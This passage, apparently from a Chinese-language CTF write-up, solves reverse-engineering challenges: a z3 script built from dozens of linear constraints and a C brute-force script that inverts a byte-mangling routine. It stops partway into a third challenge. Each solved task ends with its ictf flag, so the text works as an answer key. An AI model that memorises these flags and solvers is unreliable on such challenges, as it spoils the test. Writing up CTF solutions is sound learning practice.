a[44] + 123 * a[46] == 2187656 )<br>v13=96*a[0]+774*a[1];<br>v14=748*a[43]+766*a[42]+721*a[41]+345*a[40]+887*a[39]+776*a[38]+493*a[37]+603*a[36]+22*a[35]+463*a[34]+591*a[33]+1020*a[32]+494*a[31]+834*a[30]+995*a[29]+703*a[28]+739*a[27]+870*a[26]+738*a[25]+863*a[24]+967*a[23]+750*a[22]+927*a[21]+401*a[20]+194*a[19]+798*a[18]+662*a[17]+1021*a[16]+2*a[15]+224*a[14]+177*a[13]+377*a[12]+677*a[11]+805*a[10]+987*a[9]+903*a[8]+998*a[7]+(a[6]*128)+969*a[5]+528*a[4]+645*a[3]+v13+1023*a[2];<br>x.add( 467 * a[45] + 821 * a[44] + v14 + 125 * a[46] == 3060182 )<br>v15=117*a[36]+525*a[35]+56*a[34]+432*a[33]+287*a[30]+504*a[29]+239*a[28]+855*a[27]+92*a[26]+698*a[25]+665*a[24]+160*a[22]+179*a[18]+420*a[17]+200*a[16]+471*a[15]+189*a[14]+541*a[13]+83*a[12]+358*a[11]+981*a[10]+359*a[9]+763*a[8]+885*a[7]+462*a[6]+526*a[5]+1016*a[4]+748*a[3]+319*a[2]+174*a[1]+548*a[0]+654*a[19]+27*a[20]+395*a[21]+31*a[23]+475*a[31]+576*a[32]+244*a[37];<br>x.add(134*a[45]+725*a[44]+715*a[43]+274*a[42]+962*a[41]+725*a[40]+559*a[39]+v15+513*a[38]+437*a[46]==2106171)<br>v16=122*a[25]+357*a[24]+544*a[23]+75*a[22]+738*a[21]+649*a[18]+893*a[15]+714*a[14]+89*a[13]+762*a[12]+228*a[11]+561*a[10]+115*a[9]+14*a[8]+972*a[7]+937*a[6]+315*a[5]+737*a[2]+817*a[1]+82*a[0]+410*a[3]+3*a[4]+580*a[16]+127*a[17]+231*a[19]+73*a[20]+759*a[26];<br>x.add(208*a[45]+173*a[44]+209*a[43]+582*a[42]+47*a[41]+798*a[40]+856*a[39]+188*a[38]+543*a[37]+1015*a[36]+108*a[35]+314*a[34]+848*a[33]+506*a[32]+435*a[31]+259*a[30]+16*a[29]+93*a[28]+v16+255*a[27]+691*a[46]==1969653)<br>v17=271*a[32]+700*a[31]+508*a[30]+825*a[29]+139*a[28]+385*a[27]+242*a[26]+404*a[25]+812*a[24]+204*a[23]+367*a[22]+50*a[21]+145*a[20]+567*a[19]+846*a[18]+537*a[17]+927*a[16]+667*a[15]+429*a[14]+739*a[13]+518*a[12]+910*a[11]+277*a[10]+864*a[9]+999*a[6]+359*a[5]+182*a[4]+707*a[3]+265*a[2]+766*a[1]+469*a[0]+540*a[7]+18*a[8]+338*a[33];<br>x.add(807*a[45]+654*a[44]+528*a[43]+460*a[42]+613*a[41]+449*a[40]+110*a[39]+43*a[38]+305*a[37]+268*a[36]+485*a[35]+v17+5*a[34]+339*a[46]==2176941)<br>v18=474*a[42]+844*a[41]+516*a[40]+496*a[39]+157*a[38]+629*a[37]+574*a[36]+901*a[35]+726*a[34]+225*a[33]+317*a[32]+171*a[31]+495*a[30]+254*a[29]+772*a[28]+967*a[27]+191*a[26]+276*a[25]+329*a[24]+87*a[23]+877*a[22]+848*a[21]+888*a[20]+411*a[19]+648*a[18]+531*a[17]+1004*a[16]+903*a[15]+358*a[14]+122*a[13]+619*a[12]+487*a[11]+955*a[10]+816*a[9]+994*a[8]+466*a[7]+636*a[6]+370*a[5]+864*a[4]+338*a[3]+1013*a[2]+609*a[1]+87*a[0];<br>x.add( 263 * a[45] + 907 * a[44] + 563 * a[43] + v18 + 507 * a[46] == 2658391 )<br>v19=872*a[26]+829*a[25]+114*a[24]+92*a[23]+771*a[22]+88*a[21]+520*a[18]+88*a[17]+349*a[16]+4*a[15]+960*a[14]+754*a[13]+47*a[12]+180*a[11]+1011*a[10]+693*a[9]+274*a[8]+996*a[7]+236*a[6]+771*a[5]+501*a[4]+1000*a[3]+457*a[2]+844*a[1]+278*a[0]+518*a[19]+15*a[20]+56*a[27];<br>x.add(610*a[45]+44*a[44]+142*a[43]+70*a[42]+699*a[41]+773*a[40]+606*a[39]+839*a[38]+14*a[37]+312*a[36]+698*a[35]+281*a[34]+482*a[33]+596*a[32]+962*a[31]+664*a[30]+873*a[29]+v19+257*a[28]+315*a[46]==2188027)<br>v20=832*a[43]+781*a[42]+833*a[41]+983*a[40]+97*a[39]+97*a[38]+197*a[37]+623*a[36]+998*a[35]+326*a[34]+364*a[33]+308*a[32]+983*a[31]+477*a[30]+229*a[29]+659*a[28]+1013*a[27]+866*a[26]+728*a[25]+675*a[24]+969*a[23]+546*a[22]+911*a[21]+69*a[20]+236*a[19]+184*a[18]+742*a[17]+385*a[16]+407*a[15]+142*a[14]+375*a[13]+798*a[12]+876*a[11]+914*a[10]+898*a[8]+645*a[7]+822*a[6]+279*a[5]+204*a[4]+188*a[3]+173*a[2]+272*a[1]+558*a[0];<br>x.add( 701 * a[45] + 724 * a[44] + v20 + 385 * a[46] == 2510283 )<br>v21=699*a[42]+940*a[41]+226*a[40]+898*a[39]+531*a[38]+169*a[37]+439*a[36]+834*a[35]+173*a[34]+202*a[31]+1020*a[30]+930*a[29]+716*a[28]+437*a[27]+222*a[26]+803*a[25]+a[24]+352*a[23]+322*a[22]+568*a[21]+623*a[20]+298*a[19]+508*a[16]+490*a[15]+899*a[14]+268*a[13]+233*a[12]+691*a[11]+306*a[10]+122*a[9]+986*a[8]+198*a[7]+552*a[4]+214*a[3]+631*a[2]+618*a[0]+513*a[1]+466*a[5]+288*a[6]+480*a[17]+27*a[18]+379*a[32]+10*a[33];<br>x.add( 692 * a[43] + v21 + 264 * a[44] + 576 * a[45] + 301 * a[46] == 2220943 )<br>v22=657*a[23]+530*a[22]+304*a[19]+612*a[18]+816*a[17]+242*a[16]+92*a[15]+464*a[14]+505*a[13]+914*a[12]+894*a[11]+814*a[10]+203*a[9]+955*a[8]+182*a[7]+879*a[6]+829*a[5]+865*a[4]+706*a[3]+248*a[2]+530*a[1]+786*a[0]+262*a[20]+127*a[21]+478*a[24];<br>x.add(173*a[45]+173*a[44]+458*a[43]+448*a[42]+553*a[41]+251*a[40]+329*a[39]+348*a[38]+314*a[37]+756*a[36]+780*a[35]+837*a[34]+641*a[33]+476*a[32]+780*a[31]+121*a[30]+571*a[29]+367*a[28]+28*a[27]+2*a[26]+v22+73*a[25]+421*a[46]==2322631)<br>v23=679*a[25]+289*a[24]+838*a[23]+844*a[22]+746*a[21]+670*a[20]+399*a[19]+434*a[18]+720*a[17]+584*a[16]+509*a[15]+619*a[14]+236*a[13]+509*a[12]+321*a[11]+887*a[10]+867*a[9]+706*a[8]+853*a[7]+874*a[6]+810*a[5]+937*a[4]+982*a[3]+1011*a[2]+772*a[0]+(a[1]*128)+898*a[26];<br>x.add(818*a[45]+261*a[44]+820*a[43]+981*a[42]+920*a[41]+717*a[40]+441*a[39]+863*a[38]+692*a[37]+960*a[36]+809*a[35]+43*a[34]+508*a[33]+797*a[32]+874*a[31]+721*a[30]+269*a[29]+618*a[28]+v23+160*a[27]+894*a[46]==3160127)<br>v24=313*a[36]+501*a[35]+343*a[34]+372*a[33]+585*a[30]+477*a[29]+418*a[28]+713*a[27]+517*a[26]+730*a[25]+647*a[24]+325*a[23]+174*a[22]+284*a[21]+805*a[20]+974*a[17]+872*a[16]+78*a[15]+186*a[14]+61*a[11]+583*a[10]+617*a[9]+119*a[8]+93*a[7]+587*a[6]+803*a[5]+158*a[4]+523*a[3]+630*a[2]+278*a[0]+8*a[1]+407*a[12]+5*a[13]+1007*a[18]+63*a[19]+862*a[31]+9*a[32]+577*a[37];<br>x.add(323*a[45]+621*a[44]+964*a[43]+356*a[42]+839*a[41]+53*a[40]+852*a[39]+v24+31*a[38]+957*a[46]==2180863)<br>v25=16*a[39]+581*a[38]+56*a[37]+416*a[36]+855*a[35]+922*a[34]+809*a[33]+239*a[32]+541*a[31]+206*a[30]+234*a[29]+382*a[28]+389*a[27]+483*a[26]+457*a[25]+793*a[24]+879*a[23]+416*a[22]+42*a[21]+985*a[20]+1018*a[19]+950*a[18]+289*a[17]+1009*a[16]+57*a[15]+301*a[14]+82*a[13]+444*a[12]+563*a[11]+787*a[10]+776*a[9]+518*a[8]+543*a[7]+870*a[6]+658*a[5]+153*a[4]+224*a[3]+(a[2]*64)+484*a[1]+266*a[0]+649*a[40];<br>x.add(781*a[45]+535*a[44]+937*a[43]+926*a[42]+v25+129*a[41]+924*a[46]==2447720)<br>v26=679*a[36]+854*a[35]+732*a[34]+724*a[33]+197*a[32]+466*a[31]+411*a[30]+163*a[27]+61*a[26]+950*a[25]+904*a[24]+354*a[23]+735*a[22]+956*a[21]+476*a[20]+261*a[19]+894*a[18]+996*a[17]+994*a[16]+331*a[15]+725*a[14]+211*a[13]+50*a[12]+102*a[11]+123*a[10]+660*a[9]+834*a[8]+745*a[7]+567*a[6]+541*a[5]+743*a[4]+1011*a[3]+677*a[2]+801*a[1]+778*a[0]+495*a[28]+320*a[29]+811*a[37];<br>x.add(299*a[45]+755*a[44]+248*a[43]+914*a[42]+173*a[41]+673*a[40]+964*a[39]+v26+41*a[38]+504*a[46]==2649697)<br>v27=849*a[29]+448*a[28]+600*a[27]+76*a[26]+147*a[25]+472*a[24]+711*a[23]+361*a[22]+961*a[21]+772*a[20]+882*a[17]+120*a[16]+964*a[15]+161*a[14]+142*a[13]+587*a[12]+899*a[11]+629*a[10]+399*a[9]+100*a[8]+334*a[7]+853*a[6]+760*a[5]+937*a[4]+810*a[3]+464*a[2]+277*a[1]+357*a[0]+244*a[18]+15*a[19]+494*a[30];<br>x.add(781*a[45]+189*a[44]+922*a[43]+942*a[42]+813*a[41]+756*a[40]+590*a[39]+211*a[38]+306*a[37]+685*a[36]+630*a[35]+669*a[34]+445*a[33]+962*a[32]+v27+25*a[31]+416*a[46]==2531775)<br>v28=299*a[40]+794*a[39]+649*a[36]+435*a[33]+518*a[32]+423*a[31]+244*a[30]+34*a[29]+459*a[28]+186*a[25]+167*a[24]+159*a[23]+787*a[22]+314*a[21]+426*a[20]+562*a[19]+482*a[18]+778*a[17]+769*a[16]+644*a[15]+723*a[14]+231*a[13]+32*a[10]+718*a[9]+731*a[8]+833*a[7]+701*a[6]+872*a[3]+279*a[2]+54*a[1]+336*a[0]+135*a[4]+40*a[5]+89*a[11]+19*a[12]+363*a[26]+73*a[27]+958*a[34]+24*a[35]+1000*a[37]+36*a[38]+77*a[41]+80*a[42];<br>x.add( 148 * a[45] + v28 + 956 * a[43] + 12 * a[44] + 770 * a[46] == 1994440 )<br>v29=366*a[19]+408*a[18]+431*a[17]+541*a[16]+460*a[15]+162*a[14]+862*a[13]+302*a[12]+336*a[11]+349*a[10]+801*a[9]+799*a[8]+802*a[7]+631*a[6]+270*a[5]+119*a[4]+396*a[3]+486*a[2]+120*a[1]+598*a[0]+236*a[20];<br>x.add(411*a[45]+838*a[44]+997*a[43]+134*a[42]+131*a[41]+188*a[40]+999*a[39]+397*a[38]+233*a[37]+340*a[36]+196*a[35]+766*a[34]+582*a[33]+202*a[32]+356*a[31]+752*a[30]+395*a[29]+349*a[28]+44*a[27]+1022*a[26]+641*a[25]+859*a[24]+125*a[23]+876*a[22]+v29+96*a[21]+612*a[46]==2184786)<br>v30=905*a[11]+931*a[10]+622*a[9]+83*a[6]+972*a[5]+284*a[0]+106*a[1]+19*a[2]+140*a[3]+48*a[4]+989*a[7]+80*a[8]+699*a[12];<br>x.add(762*a[45]+774*a[44]+149*a[43]+345*a[42]+698*a[41]+38*a[40]+611*a[39]+169*a[38]+672*a[37]+523*a[36]+824*a[35]+250*a[34]+501*a[33]+620*a[32]+401*a[31]+457*a[30]+887*a[29]+561*a[28]+476*a[27]+919*a[26]+478*a[25]+1002*a[24]+419*a[23]+389*a[22]+177*a[21]+913*a[20]+249*a[19]+562*a[18]+329*a[17]+899*a[16]+547*a[15]+983*a[14]+v30+36*a[13]+570*a[46]==2380571)<br>v31=903*a[35]+521*a[34]+278*a[33]+940*a[32]+1018*a[31]+197*a[30]+109*a[27]+679*a[26]+133*a[25]+848*a[22]+263*a[21]+579*a[20]+44*a[19]+592*a[16]+306*a[15]+682*a[14]+316*a[13]+264*a[12]+803*a[11]+750*a[10]+436*a[9]+482*a[8]+808*a[7]+630*a[6]+508*a[5]+639*a[4]+517*a[3]+828*a[2]+743*a[1]+84*a[0]+325*a[17]+40*a[18]+939*a[23]+37*a[24]+202*a[28]+19*a[29]+570*a[36];<br>x.add(526*a[45]+433*a[44]+496*a[43]+82*a[42]+972*a[41]+370*a[40]+539*a[39]+651*a[38]+v31+12*a[37]+456*a[46]==2230704)<br>v32=485*a[39]+643*a[38]+144*a[36]+36*a[35]+295*a[33]+720*a[32]+439*a[31]+432*a[30]+896*a[29]+710*a[28]+628*a[27]+186*a[26]+890*a[25]+678*a[24]+216*a[23]+457*a[22]+719*a[21]+(a[20]*128)+282*a[19]+922*a[18]+594*a[17]+236*a[14]+466*a[13]+421*a[12]+157*a[11]+504*a[10]+588*a[9]+929*a[8]+964*a[7]+812*a[6]+598*a[5]+368*a[4]+106*a[3]+301*a[2]+202*a[1]+284*a[0]+111*a[15]+96*a[16]+430*a[34]+25*a[37]+723*a[40];<br>x.add(338*a[45]+459*a[44]+772*a[43]+260*a[42]+v32+511*a[41]+153*a[46]==2126732)<br>v33=916*a[42]+419*a[41]+955*a[40]+107*a[39]+302*a[38]+1015*a[37]+420*a[36]+959*a[35]+554*a[34]+574*a[33]+252*a[32]+544*a[31]+245*a[30]+421*a[29]+68*a[28]+563*a[27]+103*a[26]+904*a[25]+921*a[24]+275*a[23]+51*a[22]+338*a[21]+188*a[20]+592*a[19]+910*a[18]+918*a[17]+865*a[16]+297*a[15]+541*a[14]+109*a[13]+443*a[12]+775*a[11]+802*a[10]+272*a[9]+326*a[8]+827*a[7]+745*a[6]+696*a[5]+981*a[4]+1019*a[3]+622*a[2]+692*a[1]+222*a[0];<br>x.add(428*a[45]+654*a[44]+314*a[43]+v33+303*a[46]==2538169)<br>v34=735*a[38]+553*a[37]+532*a[36]+795*a[35]+887*a[34]+898*a[33]+960*a[32]+94*a[31]+332*a[30]+343*a[29]+475*a[28]+1013*a[27]+165*a[26]+32*a[25]+352*a[24]+70*a[23]+516*a[22]+494*a[21]+112*a[20]+940*a[19]+581*a[18]+943*a[17]+139*a[16]+608*a[15]+508*a[14]+709*a[13]+524*a[12]+684*a[11]+228*a[8]+845*a[7]+895*a[6]+923*a[5]+666*a[4]+39*a[3]+181*a[2]+940*a[1]+385*a[0]+713*a[9]+9*a[10]+526*a[39];<br>x.add(240*a[45]+279*a[44]+501*a[43]+671*a[42]+350*a[41]+v34+1023*a[40]+919*a[46]==2516019)<br>v35=603*a[42]+698*a[41]+914*a[40]+939*a[39]+914*a[38]+695*a[37]+163*a[36]+238*a[35]+121*a[34]+43*a[33]+309*a[32]+832*a[31]+299*a[30]+989*a[29]+874*a[28]+400*a[27]+318*a[26]+107*a[25]+287*a[24]+825*a[23]+462*a[22]+70*a[21]+146*a[20]+290*a[19]+970*a[18]+239*a[17]+852*a[16]+534*a[15]+637*a[14]+882*a[13]+880*a[12]+607*a[11]+606*a[10]+546*a[9]+730*a[8]+680*a[7]+26*a[6]+917*a[5]+284*a[4]+531*a[3]+993*a[2]+738*a[1]+830*a[0];<br>x.add(136*a[45]+298*a[44]+793*a[43]+v35+616*a[46]==2619695)<br>v36=756*a[38]+935*a[37]+598*a[36]+335*a[35]+59*a[34]+815*a[33]+578*a[32]+383*a[31]+932*a[30]+78*a[29]+795*a[28]+a[27]+815*a[26]+277*a[25]+725*a[24]+957*a[23]+861*a[22]+105*a[21]+543*a[20]+95*a[19]+880*a[18]+493*a[17]+445*a[16]+479*a[15]+741*a[14]+53*a[13]+804*a[12]+83*a[11]+86*a[8]+1011*a[7]+185*a[6]+179*a[5]+767*a[4]+364*a[3]+534*a[2]+438*a[1]+719*a[0]+295*a[9]+48*a[10]+510*a[39];<br>x.add(379*a[45]+421*a[44]+131*a[43]+343*a[42]+719*a[41]+v36+511*a[40]+695*a[46]==2297196)<br>v37=598*a[33]+595*a[32]+988*a[31]+103*a[30]+857*a[29]+952*a[28]+487*a[27]+703*a[26]+1018*a[25]+345*a[24]+639*a[23]+406*a[22]+111*a[21]+93*a[20]+104*a[19]+869*a[18]+822*a[17]+44*a[16]+847*a[15]+2*a[14]+684*a[13]+823*a[12]+905*a[11]+524*a[10]+493*a[9]+661*a[6]+238*a[5]+635*a[4]+952*a[3]+784*a[2]+983*a[1]+373*a[0]+783*a[7]+3*a[8]+579*a[34];<br>x.add(533*a[45]+996*a[44]+977*a[43]+286*a[42]+701*a[41]+972*a[40]+854*a[39]+335*a[38]+162*a[37]+437*a[36]+v37+12*a[35]+878*a[46]==2669838)<br>v38=411*a[41]+935*a[40]+770*a[39]+518*a[38]+919*a[37]+760*a[36]+681*a[35]+191*a[34]+486*a[33]+623*a[32]+444*a[31]+415*a[30]+498*a[29]+14*a[28]+244*a[27]+779*a[26]+705*a[23]+133*a[22]+245*a[21]+883*a[20]+304*a[19]+514*a[18]+739*a[17]+731*a[16]+542*a[15]+650*a[14]+985*a[13]+1000*a[12]+414*a[11]+527*a[10]+874*a[9]+739*a[8]+679*a[7]+657*a[6]+893*a[5]+932*a[4]+(a[3]*512)+114*a[2]+727*a[1]+528*a[0]+440*a[24]+640*a[25]+8*a[42];<br>x.add(718*a[45]+355*a[44]+v38+21*a[43]+382*a[46]==2579438)<br>v39=874*a[21]+264*a[20]+741*a[19]+450*a[18]+756*a[17]+529*a[16]+399*a[15]+328*a[14]+959*a[9]+272*a[8]+989*a[7]+803*a[6]+245*a[5]+383*a[4]+931*a[3]+396*a[2]+60*a[1]+971*a[0]+903*a[10]+160*a[11]+53*a[12]+72*a[13]+404*a[22];<br>x.add(135*a[45]+394*a[44]+324*a[43]+586*a[42]+755*a[41]+615*a[40]+499*a[39]+807*a[38]+922*a[37]+216*a[36]+181*a[34]+136*a[33]+660*a[32]+637*a[31]+639*a[30]+94*a[29]+715*a[28]+428*a[27]+339*a[26]+83*a[25]+720*a[24]+v39+20*a[23]+462*a[46]==2285803)<br>v40=901*a[42]+356*a[41]+286*a[40]+722*a[39]+974*a[38]+389*a[37]+988*a[36]+385*a[35]+658*a[34]+374*a[33]+969*a[32]+876*a[31]+212*a[30]+923*a[29]+702*a[28]+559*a[27]+219*a[26]+236*a[25]+527*a[24]+1001*a[23]+619*a[22]+225*a[21]+994*a[20]+712*a[19]+70*a[18]+929*a[17]+977*a[16]+212*a[15]+740*a[14]+617*a[13]+706*a[12]+1017*a[11]+112*a[10]+569*a[9]+516*a[8]+602*a[7]+517*a[6]+196*a[5]+428*a[4]+723*a[3]+552*a[2]+920*a[1]+560*a[0];<br>x.add(918*a[45]+787*a[44]+759*a[43]+v40+762*a[46]==2920377)<br>v41=837*a[6]+1022*a[3]+949*a[0]+961*a[1]+27*a[2]+556*a[4]+17*a[5]+111*a[7];<br>x.add(856*a[45]+771*a[44]+743*a[43]+545*a[42]+376*a[41]+840*a[40]+174*a[39]+426*a[38]+341*a[37]+329*a[36]+57*a[35]+298*a[34]+148*a[33]+266*a[32]+682*a[31]+763*a[30]+615*a[29]+948*a[28]+282*a[27]+122*a[26]+681*a[25]+996*a[24]+463*a[23]+757*a[22]+60*a[21]+565*a[20]+699*a[19]+726*a[18]+673*a[17]+522*a[16]+310*a[15]+271*a[14]+728*a[13]+671*a[12]+767*a[11]+711*a[10]+889*a[9]+v41+81*a[8]+143*a[46]==2471657)<br>v42=566*a[42]+887*a[41]+662*a[40]+636*a[39]+687*a[38]+843*a[37]+102*a[36]+182*a[35]+305*a[34]+486*a[33]+603*a[32]+194*a[31]+519*a[30]+705*a[29]+540*a[28]+290*a[27]+853*a[26]+948*a[25]+561*a[24]+441*a[23]+118*a[22]+647*a[21]+381*a[20]+1013*a[19]+147*a[18]+699*a[17]+1019*a[16]+319*a[15]+133*a[14]+920*a[13]+183*a[12]+930*a[11]+1007*a[10]+633*a[9]+271*a[8]+186*a[7]+405*a[6]+341*a[5]+297*a[4]+734*a[3]+769*a[2]+400*a[1]+438*a[0];<br>x.add(773*a[43]+v42+485*a[44]+11*a[45]+311*a[46]==2512964)<br>v43=877*a[39]+262*a[38]+326*a[37]+865*a[36]+821*a[35]+721*a[34]+929*a[33]+263*a[32]+67*a[31]+629*a[30]+43*a[29]+714*a[28]+711*a[27]+968*a[26]+877*a[25]+996*a[24]+594*a[23]+125*a[22]+762*a[21]+903*a[20]+377*a[19]+757*a[18]+813*a[17]+323*a[14]+549*a[13]+497*a[12]+89*a[11]+1023*a[9]+571*a[7]+78*a[6]+85*a[5]+421*a[4]+518*a[3]+688*a[2]+246*a[1]+779*a[0]+281*a[8]+127*a[10]+173*a[15]+81*a[16]+370*a[40];<br>x.add(138*a[45]+695*a[44]+969*a[43]+143*a[42]+v43+288*a[41]+495*a[46]==2351755)<br>v44=68*a[41]+82*a[40]+569*a[39]+67*a[38]+179*a[37]+368*a[36]+729*a[35]+377*a[34]+47*a[31]+724*a[30]+411*a[29]+240*a[28]+718*a[27]+157*a[26]+110*a[25]+212*a[24]+791*a[23]+218*a[22]+594*a[21]+615*a[20]+263*a[19]+518*a[18]+986*a[17]+370*a[16]+62*a[15]+786*a[14]+794*a[13]+746*a[12]+82*a[11]+155*a[10]+153*a[9]+838*a[8]+341*a[7]+875*a[6]+633*a[5]+52*a[2]+483*a[1]+274*a[0]+163*a[3]+33*a[4]+253*a[32]+33*a[33]+808*a[42];<br>x.add(29*a[45]+998*a[44]+v44+511*a[43]+545*a[46]==1909222)<br>v45=431*a[21]+434*a[18]+568*a[17]+874*a[16]+650*a[15]+198*a[14]+789*a[13]+546*a[12]+381*a[11]+947*a[10]+824*a[9]+233*a[8]+920*a[7]+928*a[6]+485*a[5]+824*a[4]+557*a[3]+45*a[2]+140*a[1]+718*a[0]+771*a[19]+384*a[20]+350*a[22];<br>x.add(383*a[45]+373*a[44]+712*a[43]+233*a[42]+865*a[41]+228*a[40]+520*a[39]+114*a[38]+1016*a[37]+845*a[36]+540*a[35]+679*a[34]+345*a[33]+910*a[32]+224*a[31]+506*a[30]+773*a[29]+437*a[28]+29*a[27]+653*a[26]+(a[25]*64)+915*a[24]+v45+9*a[23]+607*a[46]==2557994)<br>v46=470*a[10]+458*a[9]+326*a[8]+929*a[7]+295*a[6]+126*a[5]+218*a[4]+775*a[1]+308*a[0]+649*a[2]+320*a[3]+795*a[11];<br>x.add(737*a[45]+348*a[44]+407*a[43]+989*a[42]+326*a[41]+641*a[40]+677*a[39]+29*a[38]+957*a[37]+775*a[36]+368*a[35]+953*a[34]+624*a[33]+90*a[32]+143*a[31]+887*a[30]+942*a[29]+903*a[28]+441*a[27]+535*a[26]+369*a[25]+179*a[24]+496*a[23]+742*a[22]+815*a[21]+989*a[20]+1009*a[19]+929*a[18]+996*a[17]+727*a[16]+218*a[15]+397*a[14]+94*a[13]+v46+129*a[12]+199*a[46]==2584886)<br>v47=32*a[9]+324*a[8]+247*a[7]+196*a[6]+376*a[5]+178*a[4]+811*a[3]+313*a[2]+911*a[1]+228*a[0]+246*a[10];<br>x.add(894*a[45]+198*a[44]+584*a[43]+477*a[42]+215*a[41]+915*a[40]+117*a[39]+502*a[38]+243*a[37]+403*a[36]+960*a[35]+246*a[34]+655*a[33]+577*a[32]+507*a[31]+550*a[30]+950*a[29]+424*a[28]+284*a[27]+623*a[26]+578*a[25]+401*a[24]+732*a[23]+803*a[22]+401*a[21]+236*a[20]+912*a[19]+268*a[18]+389*a[17]+382*a[16]+69*a[15]+949*a[14]+705*a[13]+971*a[12]+v47+33*a[11]+114*a[46]==2134976)<br>v48=280*a[17]+625*a[16]+789*a[15]+152*a[14]+759*a[13]+93*a[12]+429*a[11]+786*a[10]+910*a[9]+427*a[8]+666*a[7]+(a[6]*128)+604*a[5]+981*a[4]+579*a[3]+572*a[2]+851*a[1]+817*a[0]+863*a[18];<br>x.add(300*a[45]+102*a[44]+872*a[43]+887*a[42]+964*a[41]+209*a[40]+521*a[39]+989*a[38]+103*a[37]+594*a[36]+381*a[35]+8*a[34]+55*a[33]+899*a[32]+205*a[31]+198*a[30]+594*a[29]+340*a[28]+652*a[27]+865*a[26]+520*a[25]+934*a[24]+172*a[23]+88*a[22]+828*a[21]+296*a[20]+v48+129*a[19]+265*a[46]==2504301)<br>v49=581*a[41]+579*a[40]+766*a[39]+900*a[38]+400*a[37]+165*a[36]+145*a[35]+983*a[34]+577*a[33]+401*a[32]+530*a[31]+1006*a[30]+8*a[28]+507*a[27]+346*a[26]+151*a[25]+343*a[24]+943*a[23]+438*a[22]+205*a[21]+546*a[20]+112*a[19]+593*a[18]+130*a[17]+942*a[16]+418*a[15]+536*a[14]+525*a[13]+365*a[12]+69*a[11]+456*a[10]+212*a[9]+718*a[8]+431*a[7]+596*a[6]+811*a[5]+324*a[4]+392*a[3]+402*a[2]+880*a[1]+662*a[0]+1022*a[42];<br>x.add(314*a[45]+230*a[44]+v49+11*a[43]+448*a[46]==2234809)<br>v50=2*a[20]+14*a[19]+45*a[18]+238*a[17]+186*a[16]+741*a[15]+499*a[14]+1013*a[13]+294*a[12]+889*a[11]+325*a[10]+110*a[9]+1022*a[8]+241*a[7]+271*a[6]+922*a[5]+252*a[4]+970*a[3]+375*a[2]+1021*a[1]+281*a[0]+14*a[21];<br>x.add(919*a[45]+895*a[44]+328*a[43]+803*a[42]+821*a[41]+210*a[40]+191*a[39]+224*a[38]+334*a[37]+820*a[36]+713*a[35]+426*a[34]+162*a[33]+564*a[32]+754*a[31]+933*a[30]+865*a[29]+828*a[28]+464*a[27]+577*a[26]+245*a[25]+591*a[24]+883*a[23]+v50+33*a[22]+263*a[46]==2374375)</pre><pre>if x.check()==z3.sat:<br>    print(&quot;success&quot;)<br>    m=x.model()<br>    for i in a:<br>        if m[i] is not None:<br>                print(chr(m[i].as_long()),end=&#39;&#39;)<br>    print(&quot;&quot;)<br>else:<br>    print(&quot;failed&quot;) <br>#ictf{that_is_a_lot_of_equations_n2u1iye21azl21}</pre><h3>unconditional</h3><blockquote><em>Can you reverse this flag mangler? The output is b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b The input only contains lowercase letters, numbers, underscore, and braces . 你能逆转这个旗帜粉碎机吗？输出是b4，31，8e，02，af，1c，5d，23，98，7d，a3，1e，b0，3c，b3，c4，a6，06，58，28，19，7d，a3，c0，85，31，68，0a，bc，03，5d，3d，0b。输入仅包含小写字母、数字、下划线和大括号。</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/0*tvsck_2IBtz9bR0j" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/0*SzF_F9PO0k2bA880" /></figure><p>比较简单，直接爆即可。脚本</p><pre>int main() {</pre><pre>    unsigned char s1[] = { 0xb4,0x31,0x8e,0x02,0xaf,0x1c,0x5d,0x23,0x98,0x7d,0xa3,0x1e,0xb0,0x3c,0xb3,0xc4,0xa6,0x06,0x58,0x28,0x19,0x7d,0xa3,0xc0,0x85,0x31,0x68,0x0a,0xbc,0x03,0x5d,0x3d,0x0b,0 };</pre><pre>    char s2[] = { 0x52, 0x64, 0x71, 0x51, 0x54, 0x76 };</pre><pre>    char s3[] = { 0x01, 0x03, 0x04, 0x02, 0x06, 0x05 };<br>    char s4[64] = { 0 };</pre><pre>    int counter1 = 0, counter2 = 0;<br>    for (int i = 0; i &lt; 33; i++) {<br>        int a = i;<br>        bool v4 = (a &amp; 1) != 0;<br>        for (int j = 32; j &lt; 127; j++) {<br>            unsigned char v3 = j;<br>            bool v1 = v3 &gt; 0x60 &amp;&amp; v3 &lt; 0x7a;<br>            unsigned char temp= ((((unsigned int)v3 &gt;&gt; s3[counter2]) | (v3 &lt;&lt; (8 - s3[counter2]))) * v1+ !v1 * (((v3 &lt;&lt; 6) | (v3 &gt;&gt; 2)) ^ s2[counter1]))* ((a &amp; 1) == 0)+ ((v3 ^ s2[counter1]) * v1 + !v1 * ((4 * v3) | (v3 &gt;&gt; 6))) * ((a &amp; 1) != 0);<br>            if (temp == s1[i]) {<br>                //printf(&quot;%c &quot;, j);<br>                //break;<br>                s4[i] = j;<br>            }<br>        }<br>        counter1 = (v4 + counter1) % 6;<br>        counter2 = (v4 + counter2) % 6;<br>        //printf(&quot;|&quot;);<br>    }<br>    //i |L c |t |f |{ |m |0 u |r |3 |_ |W t |h |a |n |_ |1 |_ j |w |$ a |y |5 |_ |W t |0 |_ |L c |0 |n |7 |r |0 u |O l |} |<br>    s4[6] = &#39;0&#39;;<br>    s4[16] = &#39;_&#39;;<br>    s4[30] = &#39;0&#39;;<br>    printf(&quot;%s&quot;, s4);<br>    return 0;<br>}<br>#ictf{m0r3_than_1_way5_t0_c0n7r0l}</pre><h3>SVM Revenge</h3><blockquote><em>As foretold, the revenge of SVM from round 46 is here! 正如预言，第46轮SVM的复仇来了！</em></blockquote><p>附件拖入ida</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/0*Deq-CoVuGLyIca1R" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JddWj3mmrJ0AMmHa" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/0*TU79APaNQWp3fIAi" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/0*xfLXU2RXxyqyx1qF" /></figure><p>基本都在图里注释了，看懂指针操作就挺简单的。接下来就是写脚本打印过程</p><pre>int main() {</pre><pre>    unsigned char s1[] = { 